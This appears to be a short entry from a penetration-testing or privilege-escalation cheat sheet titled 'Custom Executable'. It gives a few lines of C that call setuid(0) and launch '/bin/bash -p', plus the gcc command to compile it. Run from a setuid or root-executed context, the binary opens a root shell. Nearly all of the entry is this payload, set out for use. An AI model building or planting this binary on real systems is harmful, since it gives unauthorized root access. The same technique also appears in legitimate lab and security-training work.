Custom Executable

Compile a custom executable

######## Code ########
int main() {
    setuid(0);
    system("/bin/bash -p");
}

######## Compile ########
gcc -o myfile myfile.c

Last updated